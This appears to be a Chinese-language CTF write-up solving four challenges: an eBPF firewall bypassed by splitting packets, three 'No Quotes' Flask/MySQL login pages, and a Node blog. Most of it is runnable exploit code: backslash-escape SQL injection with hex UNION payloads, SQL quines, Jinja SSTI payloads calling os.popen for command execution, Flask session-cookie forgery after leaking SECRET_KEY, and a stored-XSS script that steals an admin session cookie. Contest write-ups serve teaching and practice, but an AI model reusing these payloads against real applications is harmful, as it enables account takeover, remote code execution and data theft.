Firewall

题目

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/pkt_cls.h>

#define IP_MF		0x2000	/* "More Fragments" */
#define IP_OFFSET	0x1fff	/* "Fragment Offset" */
#define MAX_PKT_LEN 0xffff
#define WINDOW_LEN 256
#define KW_LEN 4
static const char blocked_kw[KW_LEN] = "flag";
static const char blocked_char = '%';

struct kw_scan_ctx {
    struct __sk_buff *skb;
    __u32 off;
    __u32 len;
    __u32 found;
};


static long kw_scan_cb(__u32 idx, void *data)
{
    struct kw_scan_ctx *ctx = data;
    unsigned char buf[KW_LEN];

    // We guarantee idx + KW_LEN <= ctx->len from the caller, so no extra
    // bounds check is needed here for the packet.
     
    if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
        // Treat load error as found kw
        ctx->found = 1;
        return 1;
    }

    if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
        ctx->found = 1;
        return 1;
    }

    return 0;
}

__u32 __always_inline has_blocked_kw(struct __sk_buff *skb, __u32 off, __u32 len)
{
    if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
        return 1;
    
    // Cannot match when length is shorter than KW_LEN
    if (len < KW_LEN) {
        return 0;
    }

    struct kw_scan_ctx ctx = {
        .skb   = skb,
        .off   = off,
        .len   = len,
        .found = 0,
    };

    // Use bpf_loop to make verifier happy
    __u32 nr_loops = len - KW_LEN + 1;

    long ret = bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);
    if (ret < 0) {
        return 1;
    }

    return ctx.found ? 1 : 0;
}

static long char_scan_cb(__u32 idx, void *data)
{
    struct kw_scan_ctx *ctx = data;
    unsigned char buf[1];
     
    if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, 1) < 0) {
        // Treat load error as found kw
        ctx->found = 1;
        return 1;
    }

    if (buf[0] == blocked_char) {
        ctx->found = 1;
        return 1;
    }

    return 0;
}


__u32 __always_inline has_blocked_char(struct __sk_buff *skb, __u32 off, __u32 len)
{
    if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
        return 1;
    
    if (len < 1)
        return 0;

    struct kw_scan_ctx ctx = {
        .skb   = skb,
        .off   = off,
        .len   = len,
        .found = 0,
    };

    // Use bpf_loop to make verifier happy
    __u32 nr_loops = len;

    long ret = bpf_loop(nr_loops, char_scan_cb, &ctx, 0);
    if (ret < 0) {
        return 1;
    }

    return ctx.found ? 1 : 0;
}

SEC("tc/ingress")
int firewall_in(struct __sk_buff *skb) {
    void *data = (void *)(__u64)skb->data;
    void *data_end = (void *)(__u64)skb->data_end;
    
    // L2
    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end) {
        return TC_ACT_UNSPEC;
    }
    
    // Handle IPv4
    if (skb->protocol == bpf_htons(ETH_P_IP)) {
        struct iphdr * iph = (void *)(eth + 1);
        if ((void *)(iph + 1) > data_end) {
            return TC_ACT_UNSPEC;
        }
        if (iph->version != 4) {
            return TC_ACT_UNSPEC;
        }
        __u32 ip_hdr_size = (iph->ihl & 0x0F) << 2;
        if (ip_hdr_size < sizeof(*iph)) {
            return TC_ACT_UNSPEC;
        }
        if ((void *)iph + ip_hdr_size > data_end) {
            return TC_ACT_UNSPEC;
        }
        // Only allow a single fragment
        if (iph->frag_off & bpf_htons(IP_MF | IP_OFFSET)) {
            return TC_ACT_SHOT;
        }
        // Only care about TCP
        if (iph->protocol != IPPROTO_TCP) {
            return TC_ACT_UNSPEC;
        }
        __u16 ip_tot_len = bpf_ntohs(iph->tot_len);
        if (ip_hdr_size > ip_tot_len) {
            return TC_ACT_UNSPEC;
        }

        // Filter traffic
        if (has_blocked_kw(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
            return TC_ACT_SHOT;
        }
        if (has_blocked_char(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
            return TC_ACT_SHOT;
        }


        return TC_ACT_OK;
    } else if (skb->protocol == bpf_htons(ETH_P_IPV6)) {
        // No IPv6
        return TC_ACT_SHOT;
    }
    
    return TC_ACT_UNSPEC;
}

char _license[] SEC("license") = "GPL";

服务端前面挂了一个 eBPF tc ingress “防火墙”,会扫描进入服务器的IPv4 TCP包内容,只要出现:

  • 关键字 "flag"(连续 4 字节匹配)
  • 或者字符 '%'(0x25)

就直接丢包(TC_ACT_SHOT)

目标就是:在不触发丢包规则的情况下,读取 /flag.html

分析

  1. 只允许 IPv4,直接封 IPv6
  2. 不允许 IP 分片(MF 或 OFFSET 置位就丢)
  3. 只看 TCP(其他协议不管)
  4. 扫描范围非常粗暴:从ETH_HLEN + ip_hdr_size开始扫 ip_tot_len - ip_hdr_size 字节

注意第4点中:ETH_HLEN + ip_hdr_size 其实是TCP Header起始位置,也就是说它扫描的是:

TCP Header + TCP Payload(整个 TCP segment)

这带来两个“很好用”的副作用:

  • 没有做TCP stream重组:它只看“一个包里的连续字节”,不会把两段 TCP 包拼起来再匹配 "flag"
    → 经典的分包绕过
  • 它连 TCP Header 都扫:TCP 里有一堆看似“随机”的字段(比如初始 seq 等),出现 0x25 的概率并不低
    → 这就会导致 “看起来像网络不稳定” 的丢包现象(实际上是撞到
    % 就被shot)

利用

把flag拆开,不在同一个TCP包里连续出现

比如请求行想发:

GET /flag.html HTTP/1.1

直接拆成两段TCP send:

  • 先发:GET /fl
  • 再发:ag.html HTTP/1.1\r\nHost: ...

只要能让内核发成两个TCP segment(或者让对端看到是两段包),eBPF 扫描时永远凑不齐连续 "flag"

我这里简单粗暴用 time.sleep(0.1) 强制分包

概率丢包:重试 + Range 分块下载

因为 % 是单字节匹配,只要扫描范围里出现 0x25 就丢包。这个东西你没法稳定控制(尤其 TCP header 会变),所以策略就是:

  • 每次只拉一小段(HTTP Range: bytes=start-end)
  • 如果这次请求“没响应 / 响应不对”,当作被丢包,直接重试这一段
  • 直到拿到 206 Partial Content,再推进 offset
  • 文件结束会返回 416 Range Not Satisfiable

步长我用得很小(比如 3),一方面便于重试,另一方面也能降低单次请求长度,减少“撞到 %”的概率

exp

import socket
import time
import sys

HOST = "35.227.38.232"
PORT = 5000


def get_flag_chunk(start: int, end: int) -> tuple[int | None, bytes]:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)

    try:
        s.connect((HOST, PORT))

        tail = (
            f"ag.html HTTP/1.1\r\n"
            f"Host: {HOST}\r\n"
            f"Range: bytes={start}-{end}\r\n"
            f"Connection: close\r\n\r\n"
        ).encode()

        s.sendall(b"GET /fl")
        time.sleep(0.1)
        s.sendall(tail)

        resp = b""
        while True:
            try:
                chunk = s.recv(4096)
                if not chunk:
                    break
                resp += chunk
            except socket.timeout:
                break

        if b"\r\n\r\n" not in resp:
            return None, b""

        header, body = resp.split(b"\r\n\r\n", 1)

        if b"206 Partial" in header:
            return 206, body
        if b"416 Range" in header:
            return 416, b""

        return None, b""
    except Exception:
        return None, b""
    finally:
        try:
            s.close()
        except Exception:
            pass


def main():
    full = bytearray()
    offset = 0
    step = 3

    while True:
        status, body = get_flag_chunk(offset, offset + step - 1)

        if status == 206:
            full += body
            offset += step

            text = full.decode(errors="ignore")
            last_line = text.splitlines()[-1] if text.splitlines() else text
            sys.stdout.write("\r" + last_line[-120:])
            sys.stdout.flush()
            continue

        if status == 416:
            sys.stdout.write("\n")
            sys.stdout.flush()
            print(full.decode(errors="ignore"))
            return

        continue


if __name__ == "__main__":
    main()

No Quotes

题目

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -> None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                """
            )
            cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    "INSERT INTO users (username, password) VALUES (%s, %s)",
                    ("test", "test"),
                )
    finally:
        conn.close()



def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)


@app.get("/")
def index():
    return render_template("login.html")


@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes allowed!",
            username=username,
        )
    query = (
        "SELECT id, username FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )

    session["user"] = row[1]
    return redirect(url_for("home"))


@app.get("/home")
def home():
    if not session.get("user"):
        return redirect(url_for("index"))
    return render_template_string(open("templates/home.html").read() % session["user"])


@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    ensure_db()
    app.run(host="0.0.0.0", port=5000, debug=False)

Flask + MySQL 登录页

后端是sql:

query = (
    "SELECT id, username FROM users "
    f"WHERE username = ('{username}') AND password = ('{password}')"
)

登录成功后:

session["user"] = row[1]
return render_template_string(open("templates/home.html").read() % session["user"])

也就是说:只要能把session["user"] 变成 {{ ... }},就能ssti

分析

SQL 注入

waf只拦 ' ",但MySQL里反斜杠 \ 是可以转义引号的

我把username设成一个反斜杠:\

那么拼出来会变成:

username = ('\') AND password = ('...')

'\'' 这种结构在 MySQL 的字符串语义下会把引号搞乱(本质就是让后续 SQL 被吃进字符串/或逃逸出来),再配合 password 做闭合,就能打UNION

同时因为不能用引号,直接用十六进制绕过

SSTI

因为查询取的是 (id, username),用UNION让第二列变成ssti的payload:

  • SELECT 1, 0x<hex_of_payload>

登录成功后session user就是payload,访问/home触发render_template_string,直接rce

利用

{{ lipsum.__globals__.os.popen('/readflag').read() }}

然后hex编码塞进UNION里即可

exp

import requests
import binascii

url = "https://no-quotes-7a00a44ab013ce58.chals.uoftctf.org/"

ssti = "{{ lipsum.__globals__.os.popen('/readflag').read() }}"
ssti_hex = "0x" + binascii.hexlify(ssti.encode()).decode()

data = {
    "username": "\\",
    "password": f") UNION SELECT 1, {ssti_hex} #"
}

s = requests.Session()
s.post(url + "login", data=data)
r = s.get(url + "home")
print(r.text)

No Quotes 2

题目

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -> None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                """
            )
            cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    "INSERT INTO users (username, password) VALUES (%s, %s)",
                    ("test", "test"),
                )
    finally:
        conn.close()

def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)


@app.get("/")
def index():
    return render_template("login.html")


@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes allowed!",
            username=username,
        )
    query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    if not username == row[0] or not password == row[1]:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    session["user"] = row[0]
    return redirect(url_for("home"))


@app.get("/home")
def home():
    if not session.get("user"):
        return redirect(url_for("index"))
    return render_template_string(open("templates/home.html").read() % session["user"])


@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    ensure_db()
    app.run(host="0.0.0.0", port=5000, debug=False)

SQL 还是拼接,但查询变成:

SELECT username, password FROM users WHERE ...

并且登录后多了一段校验:

if not username == row[0] or not password == row[1]:
    return "Invalid"

UNION回来的那一行,必须“看起来”完全等于提交的用户名/密码

分析

泄漏 key → 伪造session cookie → rce

Quine

既然要满足 password == row[1],那 row[1] 必须等于我提交的整个注入 payload 本身

这就是典型的SQL Quine:构造一个表达式,它的输出等于它自己的源码字符串

用replace和@a:即可:

)UNION SELECT _utf8 0x{username_hex},
REPLACE(@a:=_utf8 0x.,0x2E,HEX(@a))#
  • @a := _utf8 0x. 先把模板存到变量(里面用 . 当占位符)
  • HEX(@a) 会把模板的 hex 编出来
  • REPLACE(..., 0x2E, HEX(@a)) 把占位符 . 替换成模板自己的 hex
    → 输出就等于“最终完整 payload”,达成 quine

username 用 {{config}}\\

直接把username写成{{config}}\\:

  • {{config}}:在 /home 里触发ssti
  • 尾巴 \\:绕过SQL引号/逃逸(跟第一题一样的)

这样登录成功后,一访问 /home 就能在页面里看到 SECRET_KEY。

伪造 Flask session

拿到 SECRET_KEY 后,本来用itsdangerous直接dumps就行。

但这题环境有一个非常典的坑:服务器时间和本地时间可能不一样(或者签名校验对 timestamp 有窗口限制),导致本地生成的cookie timestamp不被接受

最稳的办法就是:

  • 先拿到一个合法session cookie
  • 把 cookie 的三段结构[data].[timestamp].[sig] 里中间那段timestamp拿出来
  • 构造payload时强制复用这个timestamp

exp

import requests
import re
import binascii
import hashlib
import hmac
import html
import ast
import base64
import json

URL = "https://no-quotes-2-8a1406873fef7930.chals.uoftctf.org"

def b64u(data: bytes) -> bytes:
    return base64.urlsafe_b64encode(data).rstrip(b"=")

def manual_sign(secret_key: bytes, payload: dict, ts_b64: str) -> str:
    data = json.dumps(payload, separators=(",", ":")).encode()
    data_b64 = b64u(data)

    # Flask cookie-session key derivation: HMAC-SHA1(secret, salt)
    salt = b"cookie-session"
    derived = hmac.new(secret_key, salt, hashlib.sha1).digest()

    if isinstance(ts_b64, str):
        ts_b64 = ts_b64.encode()

    sig_base = data_b64 + b"." + ts_b64
    sig = b64u(hmac.new(derived, sig_base, hashlib.sha1).digest())
    return (sig_base + b"." + sig).decode()

def solve():
    s = requests.Session()

    #SQLi + quine登录,并让/home打印config
    target_username = "{{config}}\\"
    u_hex = binascii.hexlify(target_username.encode()).decode().upper()

    template = f")UNION SELECT _utf8 0x{u_hex},REPLACE(@a:=_utf8 0x.,0x2E,HEX(@a))#"
    template_hex = binascii.hexlify(template.encode()).decode().upper()
    password_payload = template.replace(".", template_hex)

    r = s.post(URL + "/login", data={"username": target_username, "password": password_payload})

    # 拿cookie的timestamp
    server_cookie = s.cookies.get("session")
    ts = server_cookie.split(".")[1]

    #访问/home触发渲染,提取 SECRET_KEY
    content = html.unescape(r.text)
    if "/home" not in r.url and "Under Construction" not in content:
        content = html.unescape(s.get(URL + "/home").text)

    m = re.search(r"'SECRET_KEY':\s*(b(['\"]).+?\2)", content)
    secret_key = ast.literal_eval(m.group(1))

    #伪造 session
    rce = "{{ config.__class__.__init__.__globals__['os'].popen('/readflag').read() }}"
    forged = manual_sign(secret_key, {"user": rce}, ts)

    s.cookies.clear()
    s.cookies.set("session", forged)
    out = s.get(URL + "/home").text
    print(out)

if __name__ == "__main__":
    solve()

No Quotes 3

题目

import os
import time
import pymysql
from flask import Flask, redirect, render_template, render_template_string, request, session, url_for
import hashlib
BASE_DIR = os.path.dirname(os.path.abspath(__file__))

MYSQL_HOST = "127.0.0.1"
MYSQL_PORT = 3306
MYSQL_USER = "ctf"
MYSQL_PASSWORD = "ctf"
MYSQL_DATABASE = "ctf"

app = Flask(__name__)
app.secret_key = os.urandom(24)


def get_db_connection():
    return pymysql.connect(
        host=MYSQL_HOST,
        port=MYSQL_PORT,
        user=MYSQL_USER,
        password=MYSQL_PASSWORD,
        database=MYSQL_DATABASE,
        autocommit=True,
    )


def ensure_db() -> None:
    conn = get_db_connection()
    try:
        with conn.cursor() as cur:
            cur.execute(
                """
                CREATE TABLE IF NOT EXISTS users (
                    id INT AUTO_INCREMENT PRIMARY KEY,
                    username VARCHAR(255) UNIQUE NOT NULL,
                    password VARCHAR(255) NOT NULL
                )
                """
            )
            cur.execute("SELECT 1 FROM users WHERE username = %s", ("test",))
            exists = cur.fetchone()
            if not exists:
                cur.execute(
                    "INSERT INTO users (username, password) VALUES (%s, %s)",
                    ("test", "test"),
                )
    finally:
        conn.close()

def waf(value: str) -> bool:
    blacklist = ["'", '"', "."]
    return any(char in value for char in blacklist)


@app.get("/")
def index():
    return render_template("login.html")


@app.post("/login")
def login():

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if waf(username) or waf(password):
        return render_template(
            "login.html",
            error="No quotes or periods allowed!",
            username=username,
        )
    query = (
        "SELECT username, password FROM users "
        f"WHERE username = ('{username}') AND password = ('{password}')"
    )
    try:
        conn = get_db_connection()
        with conn.cursor() as cur:
            cur.execute(query)
            row = cur.fetchone()
    except pymysql.MySQLError:
        return render_template(
            "login.html",
            error=f"Invalid credentials.",
            username=username,
        )
    finally:
        try:
            conn.close()
        except Exception:
            pass

    if not row:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:
        return render_template(
            "login.html",
            error="Invalid credentials.",
            username=username,
        )
    session["user"] = row[0]
    return redirect(url_for("home"))


@app.get("/home")
def home():
    if not session.get("user"):
        return redirect(url_for("index"))
    return render_template_string(open("templates/home.html").read() % session["user"])


@app.post("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    ensure_db()
    app.run(host="0.0.0.0", port=5000, debug=False)
  • WAF 多 ban 了一个 .(period)
  • 密码校验改成哈希:
hashlib.sha256(password.encode()).hexdigest() == row[1]

所以 quine 不够了:得让数据库返回的第二列等于sha256(password)

分析

思路还是一样:用 quine 生成“等于自身的字符串”,但最终输出不直接返回 quine 字符串,而是返回它的hash:

)UNION SELECT 0x{u_hex},
LOWER(SHA2(REPLACE(@a:=0x$,0x24,HEX(@a)),256))#
  • @a := 0x$ 用 $ 当占位符(因为 . 被 ban 了)
  • REPLACE(..., 0x24, HEX(@a)) 用自身 hex 替换 $
  • 最外层 SHA2(...,256) 再算 sha256,刚好满足后端校验

后面流程与 No Quotes 2 完全一致:

  1. {{config}}\\ 让 /home 泄漏 SECRET_KEY
  2. 抠服务器下发 cookie 的 timestamp
  3. 手动签一个含 RCE 的 session cookie
  4. /home 触发,出 flag

exp

import requests
import re
import binascii
import hashlib
import hmac
import html
import ast
import base64
import json
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer

URL = "https://no-quotes-3-6c09ef7ea63d7e78.chals.uoftctf.org"

def base64_url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=')


def manual_flask_sign(secret_key, payload_dict, timestamp_b64):

    json_str = json.dumps(payload_dict, separators=(',', ':'))
    payload_b64 = base64_url_encode(json_str.encode())

    salt = b'cookie-session'
    kdf = hmac.new(secret_key, digestmod=hashlib.sha1)
    kdf.update(salt)
    derived_key = kdf.digest()

    if isinstance(timestamp_b64, str):
        timestamp_b64 = timestamp_b64.encode()

    sig_base = payload_b64 + b'.' + timestamp_b64

    mac = hmac.new(derived_key, msg=sig_base, digestmod=hashlib.sha1)
    signature = base64_url_encode(mac.digest())

    return sig_base + b'.' + signature


def solve():
    s = requests.Session()

    target_username = "{{config}}\\"
    u_hex = binascii.hexlify(target_username.encode()).decode().upper()
    template = f")UNION SELECT 0x{u_hex},LOWER(SHA2(REPLACE(@a:=0x$,0x24,HEX(@a)),256))#"
    template_hex = binascii.hexlify(template.encode()).decode().upper()
    password_payload = template.replace('$', template_hex)

    r = s.post(URL + "/login", data={"username": target_username, "password": password_payload})

    server_cookie = s.cookies.get("session")
    if not server_cookie:
        return

    cookie_parts = server_cookie.split('.')
    if len(cookie_parts) != 3:
        return

    server_timestamp = cookie_parts[1]

    content = html.unescape(r.text)
    if "Under Construction" not in content and "/home" not in r.url:
        r = s.get(URL + "/home")
        content = html.unescape(r.text)

    match = re.search(r"'SECRET_KEY':\s*(b(['\"]).+?\2)", content)
    if not match:
        return

    key_repr = match.group(1)
    try:
        secret_key = ast.literal_eval(key_repr)
        print(f"[+] 提取 SECRET_KEY: {secret_key}")
    except Exception as e:
        return

    cmd = "/readflag"
    rce_payload = f"{{{{ config.__class__.__init__.__globals__['os'].popen('{cmd}').read() }}}}"

    forged_cookie = manual_flask_sign(secret_key, {"user": rce_payload}, server_timestamp)
    print(f"伪造的 Cookie: {forged_cookie.decode()}")

    s.cookies.clear()
    s.cookies.set("session", forged_cookie.decode())

    r_final = s.get(URL + "/home")

    print(r_final.text)

if __name__ == "__main__":
    solve()

Personal Blog

题目

一个看起来很正常的Node/Express博客:

  • 注册/登录后可以创建文章、编辑草稿
  • /report 可以把一个“本地url”提交给bot,让bot以admin身份登录后访问
  • /flag 只有admin能访问

分析

/api/save会净化,/api/autosave不净化(存储型 XSS)

/api/save有DOMPurify:

app.post('/api/save', requireLogin, (req, res) => {
  ...
  const rawContent = String(req.body.content || '');
  const sanitized = sanitizeHtml(rawContent);
  post.savedContent = sanitized;
  post.draftContent = sanitized;
  ...
});

但autosave直接原样写入draftContent:

app.post('/api/autosave', requireLogin, (req, res) => {
  ...
  const rawContent = String(req.body.content || '');
  post.draftContent = rawContent; // <= 原样存储
  ...
});

而编辑页会把draftContent渲染出来(题目环境里是非转义输出),所以这就是一个稳定的stored XSS:

写进draft → admin打开编辑页 → 直接执行

Cookie 配置:httpOnly: false(XSS 直接读 cookie)

function cookieOptions() {
  return {
    httpOnly: false,
    sameSite: 'Lax',
    path: '/'
  };
}

这个点非常关键:XSS能直接document.cookie读到sid / sid_prev。

访问时如果带sid,就会复制到sid_prev

app.get('/magic/:token', (req, res) => {
  ...
  const existingSid = req.cookies.sid;
  if (existingSid) {
    res.cookie('sid_prev', existingSid, cookieOptions()); // <= 备份旧 sid
  }
  const sid = createSession(db, record.userId);
  ...
  res.cookie('sid', sid, cookieOptions());               // <= 发新 sid
  return res.redirect(target);
});
  • 如果我访问magic link时已经登录(带 sid)
  • 服务端会把旧sid存到sid_prev
  • 然后再发一个新的sid

而sid_prev可被读取

/flag权限只看当前会话的user.isAdmin

app.get('/flag', requireLogin, (req, res) => {
  if (!req.user.isAdmin) {
    return res.status(403).send('Admins only.');
  }
  return res.send(FLAG);
});

req.user来自 cookie sid → db.sessions:

function resolveSession(req, db) {
  const sid = req.cookies.sid;
  if (!sid) return null;
  const session = db.sessions[sid];
  if (!session) return null;
  return getUserById(db, session.userId);
}

所以只要能把浏览器里的sid换成admin的sid就能直接读到/flag

Bot:先admin登录,再访问提交的URL

await page.goto(`${APP_HOST}/login`, { waitUntil: 'networkidle2' });
await page.type('input[name="username"]', ADMIN_USER, { delay: 40 });
await page.type('input[name="password"]', ADMIN_PASS, { delay: 40 });
await Promise.all([
  page.click('button[type="submit"]'),
  page.waitForNavigation({ waitUntil: 'networkidle2' })
]);

await page.goto(targetUrl, { waitUntil: 'networkidle2' });
await new Promise((resolve) => setTimeout(resolve, 6000));

相对路径会用 APP_ORIGIN 补全

function normalizeReportUrl(input) {
  ...
  try {
    if (input.startsWith('/')) {
      url = new URL(input, APP_ORIGIN); // <= 相对路径用 APP_ORIGIN 补全
    } else {
      url = new URL(input);
    }
  } catch (err) {
    return null;
  }
  ...
  url.host = appOrigin.host; // <= 强制归一化 host
  return url.toString();
}

如果bot登录在 http://localhost:3000,reporthttp://127.0.0.1:3000/...就可能出现:

  • bot 访问 magic link 时 没带 admin sid
  • sid_prev 根本不会被设置
  • 你在 XSS 里读不到 sid_prev,全链路断

所以:report 提交相对路径/magic/...,让服务端用APP_ORIGIN一次性补齐,保证同源

整理一下

把上面拼起来,就是一条非常顺的链:

  1. 普通用户创建一个post,拿到 post_id
  2. 通过/api/autosave 往draftContent写xss
  3. 生成magic link token
  4. /report 提交:/magic/<token>?redirect=/edit/<post_id>(相对路径,避免域名不一致)
  5. bot:先admin 登录 → 访问 magic link
  • magic把admin的旧sid复制到sid_prev
  • 然后重定向到/edit/<post_id>,触发xss
  1. XSS 执行:
  • document.cookie读出sid_prev(= admin sid)
  • 把sid=改成admin sid
  • fetch('/flag')拿 flag
  • 最后调用/api/save把flag写到文章中
  1. 打开 /post/<post_id>读flag

exp

import requests
import re
import time
import base64
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

BASE_URL = "http://34.26.148.28:5000"

s = requests.Session()
retries = Retry(total=3, backoff_factor=1, status_forcelist=[500, 502, 503, 504])
s.mount("http://", HTTPAdapter(max_retries=retries))


def solve_pow(challenge_str: str):

    try:
        parts = challenge_str.split('.')
        difficulty = int.from_bytes(base64.b64decode(parts[1]), 'big')
        x = int.from_bytes(base64.b64decode(parts[2]), 'big')
        MOD = (1 << 1279) - 1
        for _ in range(difficulty):
            target = x if pow(x, (MOD - 1) // 2, MOD) == 1 else MOD - x
            x = pow(target, (MOD + 1) // 4, MOD) ^ 1
        y = x.to_bytes((x.bit_length() + 7) // 8, 'big') or b'\x00'
        return f"s.{base64.b64encode(y).decode()}"
    except Exception:
        return None


def one_shot(round_num: int) -> bool:
    print(f"\n[Round {round_num}]")

    username = f"hacker_{int(time.time())}_{round_num}"
    password = "password123"

    #注册 + 登录
    s.post(f"{BASE_URL}/register", data={"username": username, "password": password}, timeout=10)
    s.post(f"{BASE_URL}/login", data={"username": username, "password": password}, timeout=10)

    #创建文章 -> 获取 post_id(/edit 会 302 到 /edit/:id)
    r = s.get(f"{BASE_URL}/edit", allow_redirects=False, timeout=10)
    if r.status_code == 302 and "Location" in r.headers:
        post_id = r.headers["Location"].split("/")[-1]
    else:
        m = re.search(r"/edit/(\d+)", r.text)
        if not m:
            print("[-] get post_id failed")
            return False
        post_id = m.group(1)

    #生成 magic token
    s.post(f"{BASE_URL}/magic/generate", timeout=10)
    account_html = s.get(f"{BASE_URL}/account", timeout=10).text
    token = re.search(r"/magic/([a-f0-9]+)", account_html).group(1)

    #autosave注入XSS
    xss = f"""
    <script>
    (async () => {{
      const save = async (msg) => {{
        await fetch('/api/save', {{
          method: 'POST',
          headers: {{'Content-Type': 'application/json'}},
          body: JSON.stringify({{
            postId: {post_id},
            content: "<h1>" + msg + "</h1><pre>" + document.cookie + "</pre>"
          }})
        }});
      }};

      await new Promise(r => setTimeout(r, 2000));

      const m = document.cookie.match(/sid_prev=([a-zA-Z0-9]+)/);
      if (!m) {{
        await save("DEBUG: NO_SID_PREV (origin=" + location.origin + ")");
        return;
      }}

      const adminSid = m[1];
      const cur = document.cookie.match(/sid=([a-zA-Z0-9]+)/);
      const hackerSid = cur ? cur[1] : "";

      //切到 admin
      document.cookie = "sid=" + adminSid + "; path=/";

      try {{
        //读 flag
        const resp = await fetch('/flag');
        const text = await resp.text();

        if (hackerSid) document.cookie = "sid=" + hackerSid + "; path=/";

        //写文章
        await fetch('/api/save', {{
          method: 'POST',
          headers: {{'Content-Type': 'application/json'}},
          body: JSON.stringify({{
            postId: {post_id},
            content: "<h1>WIN: " + text + "</h1>"
          }})
        }});
      }} catch (e) {{
        if (hackerSid) document.cookie = "sid=" + hackerSid + "; path=/";
        await save("DEBUG: FETCH_ERROR " + e.toString());
      }}
    }})();
    </script>
    """

    s.post(
        f"{BASE_URL}/api/autosave",
        json={"postId": int(post_id), "content": xss},
        headers={"Content-Type": "application/json"},
        timeout=10
    )

    #report
    attack_url = f"/magic/{token}?redirect=/edit/{post_id}"

    report_html = s.get(f"{BASE_URL}/report", timeout=10).text
    m = re.search(r'name="pow_challenge" value="([^"]+)"', report_html)
    if m:
        ch = m.group(1)
        sol = solve_pow(ch)
        s.post(
            f"{BASE_URL}/report",
            data={"url": attack_url, "pow_challenge": ch, "pow_solution": sol},
            timeout=30
        )
    else:
        s.post(f"{BASE_URL}/report", data={"url": attack_url}, timeout=30)

    #读文章
    time.sleep(10)
    post_html = s.get(f"{BASE_URL}/post/{post_id}", timeout=10).text

    if "uoftctf{" in post_html:
        flag = re.search(r"(uoftctf\{.*?\})", post_html).group(1)
        print(f"[+] FLAG: {flag}")
        return True

